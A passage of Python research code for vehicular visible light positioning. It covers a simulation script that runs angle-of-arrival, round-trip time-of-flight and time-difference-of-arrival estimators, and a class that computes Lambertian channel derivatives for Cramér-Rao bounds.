data_dir = 'SimulationData/' + data_name + '.mat'
data = load_mat(data_dir)
# editing the saved folder name
folder_name = folder_names[i]
dp = gen_sim_data.params.number_of_skip_data
data_point = str(int(1000 / dp)) + '_point_' + str(itr) + '/'
f_name = 'GUI_data/'+data_point+folder_name
print(f_name)
# making the directory, iif it doesn't exist
if not os.path.exists(f_name):
os.makedirs(f_name)
# obtaining values from the read simulation data (power, area)
max_power = data['tx']['power']
# obtaining values from the config file, based on transmitted signals
c = gen_sim_data.params.c
rx_fov = gen_sim_data.params.rx_fov
signal_freq = gen_sim_data.params.signal_freq
measure_dt = gen_sim_data.params.measure_dt
# temporal parameters
time_ = data['vehicle']['t']['values']
time_ = time_[::dp]
vehicle_dt = data['vehicle']['t']['dt']
# heading information of vehicles
rel_hdg = data['vehicle']['target_relative']['heading'][::dp]
# vehicle widths
L_tgt = data['vehicle']['target']['width']
# relative coordinates of the target vehicle. edited to be aligned with simulations
tgt_tx1_x = -1 * data['vehicle']['target_relative']['tx1_qrx4']['y'][::dp]
tgt_tx1_y = data['vehicle']['target_relative']['tx1_qrx4']['x'][::dp]
tgt_tx2_x = -1 * data['vehicle']['target_relative']['tx2_qrx3']['y'][::dp]
tgt_tx2_y = data['vehicle']['target_relative']['tx2_qrx3']['x'][::dp]
# delay parameters
delay_11 = data['channel']['qrx1']['delay']['tx1'][::dp]
delay_12 = data['channel']['qrx1']['delay']['tx2'][::dp]
delay_21 = data['channel']['qrx2']['delay']['tx1'][::dp]
delay_22 = data['channel']['qrx2']['delay']['tx2'][::dp]
# received power of QRXes
pow_qrx1_tx1 = np.array([data['channel']['qrx1']['power']['tx1']['A'][::dp], data['channel']['qrx1']['power']['tx1']['B'][::dp],
data['channel']['qrx1']['power']['tx1']['C'][::dp],
data['channel']['qrx1']['power']['tx1']['D'][::dp]])
pow_qrx1_tx2 = np.array([data['channel']['qrx1']['power']['tx2']['A'][::dp], data['channel']['qrx1']['power']['tx2']['B'][::dp],
data['channel']['qrx1']['power']['tx2']['C'][::dp],
data['channel']['qrx1']['power']['tx2']['D'][::dp]])
pow_qrx2_tx1 = np.array([data['channel']['qrx2']['power']['tx1']['A'][::dp], data['channel']['qrx2']['power']['tx1']['B'][::dp],
data['channel']['qrx2']['power']['tx1']['C'][::dp],
data['channel']['qrx2']['power']['tx1']['D'][::dp]])
pow_qrx2_tx2 = np.array([data['channel']['qrx2']['power']['tx1']['A'][::dp], data['channel']['qrx2']['power']['tx1']['B'][::dp],
data['channel']['qrx2']['power']['tx1']['C'][::dp],
data['channel']['qrx2']['power']['tx1']['D'][::dp]])
# noise params
T = gen_sim_data.params.T
I_bg = gen_sim_data.params.I_bg
p_r_factor = data['qrx']['tia']['shot_P_r_factor']
i_bg_factor = data['qrx']['tia']['shot_I_bg_factor']
t_factor1 = data['qrx']['tia']['thermal_factor1']
t_factor2 = data['qrx']['tia']['thermal_factor1']
# initiating the arrays to hold each method's results.
x, y, x_pose, y_pose, x_roberts, y_roberts, x_becha, y_becha = np.zeros((len(tgt_tx1_x), 2)), np.zeros((len(tgt_tx1_x),
2)), \
np.zeros((len(tgt_tx1_x), 2)), np.zeros((len(tgt_tx1_x),
2)), \
np.zeros((len(tgt_tx1_x), 2)), np.zeros((len(tgt_tx1_x),
2)), \
np.zeros((len(tgt_tx1_x), 2)), np.zeros((len(tgt_tx1_x),
2))
# obtaining angle of arrival's results.
aoa = AoA(a_m=max_power, f_m1=signal_freq, f_m2=2*signal_freq, measure_dt=measure_dt, vehicle_dt=vehicle_dt * dp,
w0=gen_sim_data.params.w0, hbuf= int(vehicle_dt / measure_dt), car_dist=L_tgt, fov=rx_fov)
# obtaining round-trip time of flight's results.
rtof = RToF(a_m=max_power, f_m=signal_freq, measure_dt=gen_sim_data.params.rtof_measure_dt, vehicle_dt=vehicle_dt * dp, car_dist=L_tgt,
r=gen_sim_data.params.r, N=gen_sim_data.params.N , c=c)
# obtaining time difference of arrival's results.
tdoa = TDoA(a_m=max_power, f_m1=signal_freq, f_m2=signal_freq, measure_dt=measure_dt , vehicle_dt=vehicle_dt * dp,
car_dist=L_tgt)
for i in range(len(tgt_tx1_x)):
# updating the given coordinates
print("Iteration #", i, ": ")
x[i] = (tgt_tx1_x[i], tgt_tx2_x[i])
y[i] = (tgt_tx1_y[i], tgt_tx2_y[i])
# providing the environment to methods
delays = np.array([[delay_11[i], delay_21[i]], [delay_12[i], delay_22[i]]])
H_q = np.array([[pow_qrx1_tx1[:, i], pow_qrx2_tx1[:, i]], [pow_qrx1_tx2[:, i], pow_qrx2_tx2[:, i]]])
H = np.array([[np.sum(pow_qrx1_tx1[:, i]), np.sum(pow_qrx2_tx1[:, i])],
[np.sum(pow_qrx1_tx2[:, i]), np.sum(pow_qrx2_tx2[:, i])]])
# obtaining noise variances based on power scales
p_r1, p_r2, p_r3, p_r4 = H[0][0], H[0][1], H[1][0], H[1][1]
remaining_factor = I_bg * i_bg_factor + T * (t_factor1 + t_factor2)
noise_var1 = p_r1 * p_r_factor + remaining_factor
noise_var2 = p_r2 * p_r_factor + remaining_factor
noise_var3 = p_r3 * p_r_factor + remaining_factor
noise_var4 = p_r4 * p_r_factor + remaining_factor
noise_variance = np.array([[noise_var1, noise_var2], [noise_var3, noise_var4]])
rem_fact_soner = I_bg * i_bg_factor + T * (t_factor1 + t_factor2 / 16)
noise_var1_soner = np.array([H_q[0][0][0] * p_r_factor + rem_fact_soner, H_q[0][0][1] * p_r_factor + rem_fact_soner,
H_q[0][0][2] * p_r_factor + rem_fact_soner, H_q[0][0][3] * p_r_factor + rem_fact_soner])
noise_var2_soner = np.array([H_q[0][1][0] * p_r_factor + rem_fact_soner, H_q[0][1][1] * p_r_factor + rem_fact_soner,
H_q[0][1][2] * p_r_factor + rem_fact_soner, H_q[0][1][3] * p_r_factor + rem_fact_soner])
noise_var3_soner = np.array([H_q[1][0][0] * p_r_factor + rem_fact_soner, H_q[1][0][1] * p_r_factor + rem_fact_soner,
H_q[1][0][2] * p_r_factor + rem_fact_soner, H_q[1][0][3] * p_r_factor + rem_fact_soner])
noise_var4_soner = np.array([H_q[1][1][0] * p_r_factor + rem_fact_soner, H_q[1][1][1] * p_r_factor + rem_fact_soner,
H_q[1][1][2] * p_r_factor + rem_fact_soner, H_q[1][1][3] * p_r_factor + rem_fact_soner])
noise_variance_soner = np.array([[noise_var1_soner, noise_var2_soner], [noise_var3_soner, noise_var4_soner]])
# making estimations
tx_aoa = aoa.estimate(delays=delays, H_q=H_q, noise_variance=noise_variance_soner)
print("AoA finished")
tx_rtof = rtof.estimate(all_delays=delays, H=H, noise_variance=noise_variance)
print("RToF finished")
tx_tdoa = tdoa.estimate(delays=delays, H=H, noise_variance=noise_variance)
print("TDoA finished")
# storing to plot later
x_pose[i] = tx_aoa[0]
y_pose[i] = tx_aoa[1]
x_becha[i] = tx_rtof[0]
y_becha[i] = tx_rtof[1]
x_roberts[i] = tx_tdoa[0]
y_roberts[i] = tx_tdoa[1]
y_data = np.copy(y)
x_data = np.copy(x)
for i in range(len(y)):
y_data[i] = (y[i][0] + y[i][1])/2
x_data[i] = (x[i][0] + x[i][1])/2
# saving simulation results in corresponding files.
np.savetxt(f_name+'x.txt', x, delimiter=',')
np.savetxt(f_name+'x_pose.txt', x_pose, delimiter=',')
np.savetxt(f_name+'x_becha.txt', x_becha, delimiter=',')
np.savetxt(f_name+'x_roberts.txt', x_roberts, delimiter=',')
np.savetxt(f_name+'x_data.txt', x_data, delimiter=',')
np.savetxt(f_name+'y.txt', y, delimiter=',')
np.savetxt(f_name+'y_data.txt', y_data, delimiter=',')
np.savetxt(f_name+'y_becha.txt', y_becha, delimiter=',')
np.savetxt(f_name+'y_roberts.txt', y_roberts, delimiter=',')
np.savetxt(f_name+'y_pose.txt', y_pose, delimiter=',')
np.savetxt(f_name+'time.txt', time_, delimiter=',')
np.savetxt(f_name+'rel_hdg.txt', rel_hdg, delimiter=',')
print(time_)
if __name__ == '__main__':
main() | {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,986 | fsahbaz/elec491 | refs/heads/main | /Bound_Estimation/CRLB_init.py | import math
import numpy as np
class CRLB_init:
"""
This class contains the equations and their derivatives for calculation of CRLB bounds for
three methods: Robert, Bechadergue, Soner
"""
def __init__(self, L_1, L_2, rx_area, rx_fov, tx_half_angle, c = 3e8):
"""
:param L_1: distance between two tx leds
:param L_2: distance between two rx detectors
:param rx_area: area of one detector
:param rx_fov: field of view of the receiver detector
:param tx_half_angle: half angle of the tx led lighting pattern
:param c: speed of light
"""
self.L1 = L_1 # m
self.L2 = L_2 # m
self.rx_area = rx_area # m^2
self.c = c # speed of light(m/s)
self.fov = rx_fov # angle
self.half_angle = tx_half_angle # angle
self.m = -np.log(2) / np.log(math.cos(math.radians(self.half_angle)))
def lamb_coeff(self, ij, tx1, tx2, flag=True):
"""
(m + 1) * A / (2 * pi * sqrt(tx_x^2 + tx_y^2))
:param ij:
:param tx1:
:param tx2:
:param flag:
:return:
"""
L1 = np.sqrt((tx2[0] - tx1[0]) ** 2 + (tx2[1] - tx1[1]) ** 2)
if ij == 11:
return ((self.m + 1) * self.rx_area) / (2 * np.pi * (tx1[0]**2 + tx1[1]**2))
elif ij == 12:
if flag:
return ((self.m + 1) * self.rx_area) / (2 * np.pi * (tx2[0]**2 + tx2[1]**2))
else:
return ((self.m + 1) * self.rx_area) / (2 * np.pi * (tx1[0]**2 + (tx1[1] + L1)**2))
elif ij == 21:
return ((self.m + 1) * self.rx_area) / (2 * np.pi * (tx1[0]**2 + (tx1[1] - self.L2)**2))
elif ij == 22:
if flag:
return ((self.m + 1) * self.rx_area) / (2 * np.pi * (tx2[0]**2 + (tx2[1] - self.L2)**2))
else:
return ((self.m + 1) * self.rx_area) / (2 * np.pi * (tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2))
else:
raise ValueError("Entered tx rx values do not exist for lamb_coeff")
def lamb_irrad(self, ij, tx1, tx2):
L1 = np.sqrt((tx2[0] - tx1[0]) ** 2 + (tx2[1] - tx1[1]) ** 2)
if ij == 11:
return ((tx1[0] / np.sqrt(tx1[0]**2 + tx1[1]**2)) * ((tx2[1] - tx1[1]) / L1)
- (tx1[1] / np.sqrt(tx1[0]**2 + tx1[1]**2)) * ((tx2[0] - tx1[0]) / L1))
elif ij == 12:
return ((tx2[0] / np.sqrt(tx2[0]**2 + tx2[1]**2)) * ((tx2[1] - tx1[1]) / L1)
- (tx2[1] / np.sqrt(tx2[0]**2 + tx2[1]**2)) * ((tx2[0] - tx1[0]) / L1))
elif ij == 21:
return ((tx1[0] / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2)) * ((tx2[1] - tx1[1]) / L1)
- ((tx1[1] - self.L2) / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2)) * ((tx2[0] - tx1[0]) / L1))
elif ij == 22:
return ((tx2[0] / np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2)) * ((tx2[1] - tx1[1]) / L1)
- ((tx2[1] - self.L2) / np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2)) * ((tx2[0] - tx1[0]) / L1))
else:
raise ValueError("Entered tx rx values do not exist for irrad angle (lamb_irrad)")
def lamb_incid(self, ij, tx1, tx2, flag=True):
L1 = np.sqrt((tx2[0] - tx1[0]) ** 2 + (tx2[1] - tx1[1]) ** 2)
if ij == 11:
return tx1[0] / np.sqrt(tx1[0]**2 + tx1[1]**2)
elif ij == 12:
if flag:
return tx2[0] / np.sqrt(tx2[0]**2 + tx2[1]**2)
else:
return tx1[0] / np.sqrt(tx1[0]**2 + (tx1[1] + L1)**2)
elif ij == 21:
return tx1[0] / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2)
elif ij == 22:
if flag:
return tx2[0] / np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2)
else:
return tx1[0] / np.sqrt(tx1[0]**2 + (tx1[1] + L1 - self.L2)**2)
else:
raise ValueError("lamb_incid")
def get_h_ij(self, ij, tx1, tx2, flag=True):
if flag:
return self.lamb_coeff(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) \
* self.lamb_incid(ij, tx1, tx2, flag)
else:
return self.lamb_coeff(ij, tx1, tx2, flag) * (self.lamb_incid(ij, tx1, tx2, flag)**(self.m + 1))
# d_coeff_x1
# flag == True for Bechadergue, Soner
# flag == False for Roberts
def get_d_lamb_coeff_d_param(self, k, ij, tx1, tx2, flag=True):
if k == 1:
return self.d_lamb_coeff_x1(ij, tx1, tx2, flag)
elif k == 2:
return self.d_lamb_coeff_y1(ij, tx1, tx2, flag)
elif k == 3:
return self.d_lamb_coeff_x2(self, ij, tx1, tx2)
elif k == 4:
return self.d_lamb_coeff_y2(self, ij, tx1, tx2)
else:
raise ValueError("get_d_lamb_coeff_d_param")
def d_lamb_coeff_x1(self, ij, tx1, tx2, flag=True):
if ij == 11:
return -(((self.m + 1) * self.rx_area * tx1[0]) / (np.pi * (tx1[0]**2 + tx1[1]**2)**2))
elif ij == 12:
if flag:
return 0
else:
return -(((self.m + 1) * self.rx_area * tx1[0]) / (np.pi * (tx1[0]**2 + (tx1[1] + self.L1)**2)**2))
elif ij == 21:
return -(((self.m + 1) * self.rx_area * tx1[0]) / (np.pi * (tx1[0]**2 + (tx1[1] - self.L2)**2)**2))
elif ij == 22:
if flag:
return 0
else:
return -(((self.m + 1)*self.rx_area * tx1[0]) / (np.pi * (tx1[0]**2+(tx1[1] + self.L1 - self.L2)**2)**2))
else:
raise ValueError("d_lamb_coeff_x1")
# d_coeff_y1
def d_lamb_coeff_y1(self, ij, tx1, tx2, flag=True):
if ij == 11:
return -(((self.m + 1) * self.rx_area * tx1[1]) / (np.pi * (tx1[0]**2 + tx1[1]**2)**2))
elif ij == 12:
if flag:
return 0
else:
return -(((self.m + 1) * self.rx_area * (tx1[1] + self.L1)) / (np.pi * (tx1[0]**2 + (tx1[1] + self.L1)**2)**2))
elif ij == 21:
return -(((self.m + 1) * self.rx_area * (tx1[1] - self.L2)) / (np.pi * (tx1[0]**2 + (tx1[1] - self.L2)**2)**2))
elif ij == 22:
if flag:
return 0
else:
return -(((self.m+1) * self.rx_area * (tx1[1] + self.L1 - self.L2))
/ (np.pi * (tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2)**2))
else:
raise ValueError("Entered tx rx values do not exist d_lamb_coeff_y1")
# d_coeff_x2
def d_lamb_coeff_x2(self, ij, tx1, tx2):
if ij == 11:
return 0
elif ij == 12:
return -(((self.m + 1) * self.rx_area * tx2[0]) / (np.pi * (tx2[0]**2 + tx2[1]**2)**2))
elif ij == 21:
return 0
elif ij == 22:
return -(((self.m + 1) * self.rx_area * tx2[0]) / (np.pi * (tx2[0]**2 + (tx2[1] - self.L2)**2)**2))
else:
raise ValueError("Entered tx rx values do not exist d_lamb_coeff_x2")
# d_coeff_y2
def d_lamb_coeff_y2(self, ij, tx1, tx2):
if ij == 11:
return 0
elif ij == 12:
return -(((self.m + 1) * self.rx_area * tx2[1]) / (np.pi * (tx2[0]**2 + tx2[1]**2)**2))
elif ij == 21:
return 0
elif ij == 22:
return -(((self.m + 1) * self.rx_area * (tx2[1] - self.L2))
/ (np.pi * (tx2[0]**2 + (tx2[1] - self.L2)**2)**2))
else:
raise ValueError("Entered tx rx values do not exist d_lamb_coeff_y2")
def get_d_lamb_irrad_d_param(self, k, ij, tx1, tx2):
if k == 1:
return self.d_lamb_irrad_x1(ij, tx1, tx2)
elif k == 2:
return self.d_lamb_irrad_y1(ij, tx1, tx2)
elif k == 3:
return self.d_lamb_irrad_x2(ij, tx1, tx2)
elif k == 4:
return self.d_lamb_irrad_y2(ij, tx1, tx2)
else:
raise ValueError("Entered tx rx values do not exist")
# irrad_x1
def d_lamb_irrad_x1(self, ij, tx1, tx2):
L1 = np.sqrt((tx2[0] - tx1[0]) ** 2 + (tx2[1] - tx1[1]) ** 2)
if ij == 11:
D = np.sqrt(tx1[0]**2 + tx1[1]**2)
return ((tx1[1]**2 / D**3) * ((tx2[1] - tx1[1]) / L1)
+ (tx1[0]*tx1[1] / D**3) * ((tx2[0] - tx1[0]) / L1)
+ tx1[1] / (D * L1)
+ (tx1[0] * (tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))
- (tx1[1] * (tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)))
elif ij == 12:
D = np.sqrt(tx2[0]**2 + tx2[1]**2)
return ((tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))
- (tx2[1]*(tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))
+ (tx2[1] / (D * L1)))
elif ij == 21:
D = np.sqrt(tx1[0]**2 + (tx1[1]-self.L2)**2)
return (((tx1[1] - self.L2)**2 / D**3) * ((tx2[1] - tx1[1]) / L1)
+ (tx1[0] * (tx1[1]-self.L2) / D**3) * ((tx2[0] - tx1[0]) / L1)
- (tx1[1] - self.L2) / (D * L1)
+ (tx1[0] * (tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))
- ((tx1[1] - self.L2) * (tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)))
elif ij == 22:
D = np.sqrt(tx2[0]**2 + (tx2[1]-self.L2)**2)
return ((tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))
- ((tx2[1]-self.L2)*(tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))
+ (tx2[1] - self.L2) / (D * L1))
else:
raise ValueError("Entered tx rx values do not exist incidence angle")
# irrad_y1
def d_lamb_irrad_y1(self, ij, tx1, tx2):
L1 = np.sqrt((tx2[0] - tx1[0]) ** 2 + (tx2[1] - tx1[1]) ** 2)
if ij == 11:
D = np.sqrt(tx1[0]**2 + tx1[1]**2)
return (-(tx1[0]*tx1[1] / D**3) * ((tx2[1] - tx1[1]) / L1)
- tx1[0] / (D * L1)
- (tx1[0]**2 / D**3) * ((tx2[0] - tx1[0]) / L1)
+ (tx1[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))
- (tx1[1]*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)))
elif ij == 12:
D = np.sqrt(tx2[0]**2 + tx2[1]**2)
return ((tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))
- (tx2[1]*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))
- (tx2[0] / (D*L1)))
elif ij == 21:
D = np.sqrt(tx1[0]**2 + (tx1[1]-self.L2)**2)
return (-(tx1[0]*(tx1[1]-self.L2) / D**3) * ((tx2[1] - tx1[1]) / L1)
- tx1[0] / (D * L1) # changed
- ((tx1[0]**2 + tx1[1] * (tx1[1]-self.L2)) / D**3) * ((tx2[0] - tx1[0]) / L1)
+ (tx1[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))
- ((tx1[1]-self.L2)*(tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)))
elif ij == 22:
D = np.sqrt(tx2[0]**2 + (tx2[1]-self.L2)**2)
return ((tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))
- ((tx2[1]-self.L2)*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))
- (tx2[0] / (D*L1)))
else:
raise ValueError("Entered tx rx values do not exist incidence angle")
# irrad_x2
def d_lamb_irrad_x2(self, ij, tx1, tx2):
L1 = np.sqrt((tx2[0] - tx1[0])**2 + (tx2[1] - tx1[1])**2)
if ij == 11:
D = np.sqrt(tx1[0]**2 + tx1[1]**2)
return (-(tx1[0]*(tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))
+ (tx1[1]*(tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))
- (tx1[1] / (D * L1)))
elif ij == 12:
D = np.sqrt(tx2[0]**2 + tx2[1]**2)
return ((tx2[1]**2 / D**3) * ((tx2[1] - tx1[1]) / L1)
+ (tx2[0]*tx2[1] / D**3) * ((tx2[0] - tx1[0]) / L1)
- tx2[1] / (D * L1) # changed
- (tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))
+ (tx2[1]*(tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)))
elif ij == 21:
D = np.sqrt(tx1[0]**2 + (tx1[1]-self.L2)**2)
return (-(tx1[0]*(tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))
+ ((tx1[1]-self.L2)*(tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))
- ((tx1[1] - self.L2) / (D * L1)))
elif ij == 22:
D = np.sqrt(tx2[0]**2 + (tx2[1]-self.L2)**2)
return (((tx2[1]-self.L2)**2 / D**3) * ((tx2[1] - tx1[1]) / L1)
+ (tx2[0]*(tx2[1]-self.L2) / D**3) * ((tx2[0] - tx1[0]) / L1)
- (tx2[1]-self.L2) / (D * L1)
- (tx2[0] * (tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)) # changed
+ ((tx2[1]-self.L2) * (tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))) # changed
else:
raise ValueError("Entered tx rx values do not exist incidence angle")
# irrad_y2
def d_lamb_irrad_y2(self, ij, tx1, tx2):
L1 = np.sqrt((tx2[0] - tx1[0])**2 + (tx2[1] - tx1[1])**2)
if ij == 11:
D = np.sqrt(tx1[0]**2 + tx1[1]**2)
return (-(tx1[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))
+ (tx1[1]*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))
+ (tx1[0] / (D * L1)))
elif ij == 12:
D = np.sqrt(tx2[0]**2 + tx2[1]**2)
return (-(tx2[0]*tx2[1] / D**3) * ((tx2[1] - tx1[1]) / L1)
+ tx2[0] / (D * L1) # changed
- (tx2[0]**2 / D**3) * ((tx2[0] - tx1[0]) / L1)
- (tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) # changed
+ (tx2[1]*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))) # changed
elif ij == 21:
D = np.sqrt(tx1[0]**2 + (tx1[1]-self.L2)**2)
return (-(tx1[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))
+ ((tx1[1]-self.L2)*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))
+ (tx1[0] / (D * L1)))
elif ij == 22:
D = np.sqrt(tx2[0]**2 + (tx2[1]-self.L2)**2)
return (-(tx2[0]*(tx2[1]-self.L2) / D**3) * ((tx2[1] - tx1[1]) / L1)
+ tx2[0] / (D * L1)
- ((tx2[0]**2 + tx2[1] * (tx2[1]-self.L2)) / D**3) * ((tx2[0] - tx1[0]) / L1)
- (tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) # changed
+ ((tx2[1]-self.L2)*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))) # changed
else:
raise ValueError("Entered tx rx values do not exist incidence angle")
# d_incid_x1
# flag == True for Bechadergue, Soner
# flag == False for Roberts
def get_d_lamb_incid_d_param(self, k, ij, tx1, tx2, flag=True):
if k == 1:
return self.d_lamb_incid_x1(ij, tx1, tx2, flag)
elif k == 2:
return self.d_lamb_incid_y1(ij, tx1, tx2, flag)
elif k == 3:
return self.d_lamb_incid_x2(ij, tx1, tx2, flag)
elif k == 4:
return self.d_lamb_incid_y2(ij, tx1, tx2, flag)
else:
raise ValueError("Entered tx rx values do not exist incidence angle")
def d_lamb_incid_x1(self, ij, tx1, tx2, flag=True):
if ij == 11:
D = np.sqrt(tx1[0]**2 + tx1[1]**2)
return tx1[1]**2 / (D**3)
elif ij == 12:
if flag:
return 0
else:
D = np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2)
return ((tx1[1] + self.L1)**2) / (D**3)
elif ij == 21:
D = np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2)
return (tx1[1] - self.L2)**2 / (D**3)
elif ij == 22:
if flag:
return 0
else:
D = np.sqrt(tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2)
return ((tx1[1] + self.L1 - self.L2)**2) / (D**3)
else:
raise ValueError("Entered tx rx values do not exist incidence angle")
# d_incid_y1
def d_lamb_incid_y1(self, ij, tx1, tx2, flag=True):
if ij == 11:
D = np.sqrt(tx1[0]**2 + tx1[1]**2)
return -(tx1[0]*tx1[1]) / (D**3)
elif ij == 12:
if flag:
return 0
else:
D = np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2)
return -(tx1[0]*(tx1[1] + self.L1)) / (D**3)
elif ij == 21:
D = np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2)
return -(tx1[0]*(tx1[1] - self.L2)) / (D**3)
elif ij == 22:
if flag:
return 0
else:
D = np.sqrt(tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2)
return -(tx1[0]*(tx1[1] + self.L1 - self.L2)) / (D**3)
else:
raise ValueError("Entered tx rx values do not exist incidence angle")
# d_incid_x2
def d_lamb_incid_x2(self, ij, tx1, tx2):
if ij == 11:
return 0
elif ij == 12:
D = np.sqrt(tx2[0]**2 + tx2[1]**2)
return tx2[1]**2 / (D**3)
elif ij == 21:
return 0
elif ij == 22:
D = np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2)
return (tx2[1] - self.L2)**2 / (D**3)
else:
raise ValueError("Entered tx rx values do not exist incidence angle")
# d_incid_y2
def d_lamb_incid_y2(self, ij, tx1, tx2):
if ij == 11:
return 0
elif ij == 12:
D = np.sqrt(tx2[0]**2 + tx2[1]**2)
return -(tx2[0]*tx2[1]) / (D**3)
elif ij == 21:
return 0
elif ij == 22:
D = np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2)
return -(tx2[0]*(tx2[1] - self.L2)) / (D**3)
else:
raise ValueError("Entered tx rx values do not exist incidence angle")
# derivatives of hij:
# flag == True for Bechadergue, Soner
# flag == False for Roberts
def get_d_hij_d_param(self, k, ij, tx1, tx2, flag=True):
if k == 1:
return self.d_h_d_x1(ij, tx1, tx2, flag)
elif k == 2:
return self.d_h_d_y1(ij, tx1, tx2, flag)
elif k == 3:
return self.d_h_d_x2(ij, tx1, tx2, flag)
elif k == 4:
return self.d_h_d_y2(ij, tx1, tx2, flag)
else:
raise ValueError("Entered tx rx values do not exist incidence angle")
def d_h_d_x1(self, ij, tx1, tx2, flag=True):
if flag:
return (self.d_lamb_coeff_x1(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.lamb_incid(ij, tx1, tx2, flag)
+ (self.lamb_coeff(ij, tx1, tx2, flag) * (self.m * self.d_lamb_irrad_x1(ij, tx1, tx2) * (self.lamb_irrad(ij, tx1, tx2)**(self.m - 1)))
* self.lamb_incid(ij, tx1, tx2, flag))
+ self.lamb_coeff(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.d_lamb_incid_x1(ij, tx1, tx2, flag))
else:
return (self.d_lamb_coeff_x1(ij, tx1, tx2, flag) * (self.lamb_incid(ij, tx1, tx2, flag)**(self.m + 1))
+ self.lamb_coeff(ij, tx1, tx2, flag) * (self.m + 1) * self.d_lamb_incid_x1(ij, tx1, tx2, flag) * (self.lamb_incid(ij, tx1, tx2, flag)**self.m))
def d_h_d_x2(self, ij, tx1, tx2, flag=True):
return (self.d_lamb_coeff_x2(ij, tx1, tx2) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.lamb_incid(ij, tx1, tx2, flag)
+ (self.lamb_coeff(ij, tx1, tx2, flag) * (self.m * self.d_lamb_irrad_x2(ij, tx1, tx2) * (self.lamb_irrad(ij, tx1, tx2)**(self.m - 1)))
* self.lamb_incid(ij, tx1, tx2))
+ self.lamb_coeff(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.d_lamb_incid_x2(ij, tx1, tx2))
def d_h_d_y1(self, ij, tx1, tx2, flag=True):
if flag:
return (self.d_lamb_coeff_y1(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.lamb_incid(ij, tx1, tx2, flag)
+ (self.lamb_coeff(ij, tx1, tx2, flag) * (self.m * self.d_lamb_irrad_y1(ij, tx1, tx2) * (self.lamb_irrad(ij, tx1, tx2)**(self.m - 1)))
* self.lamb_incid(ij, tx1, tx2, flag))
